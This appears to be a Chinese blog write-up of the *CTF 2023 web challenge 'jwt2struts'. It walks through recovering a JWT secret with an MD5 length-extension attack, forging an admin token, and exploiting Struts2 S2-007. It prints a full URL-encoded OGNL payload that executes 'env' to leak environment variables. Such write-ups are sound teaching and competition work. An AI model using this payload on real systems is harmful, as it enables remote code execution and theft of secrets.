*CTF-2023 Web方向题解
复旦******战队
命题
web方向题解
jwt2struts
题目描述
140.210.223.216:55557
flag format: *ctf{}
解题思路
进入靶机后提示Try to become admin.
发现cookie中含有access_token,再根据题目猜想应该为伪造jwt
查看源代码,发现<!-- JWT_key.php -->
路由
1 |
|
代码审计,目的是得到secret_key用以伪造JWT
难点在于如何构造digest的值,给出了salt."adminroot"的MD5值
满足使用MD5长度扩展攻击的条件的条件
使用HashPump工具生成
1 | apt-get install g++ libssl-dev |
因为传入password后要经过一次url解码,故将得到的passwd中\x换成%后,url编码传入
得到secret_key=sk-he00lctf3r
接下来伪造JWT
先将原有的token解码
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjMwNDMzfQ.sD0hbwejdG0bqUBwxt68rbAnZbXb3hid5zHG9Qq4TqA |
将"sub"
改为admin后,输入密钥生成新的JWT
传参后进入/admiiiiiiiiiiin
,根据题目提示为struts-s2-007远程代码执行漏洞
FLAG在环境变量里,抓包传入age进行RCE
1 | name=1&email=1&age=%27+%2b+(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()))+%2b+%27 |
注意flag格式
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oracle の blog!
评论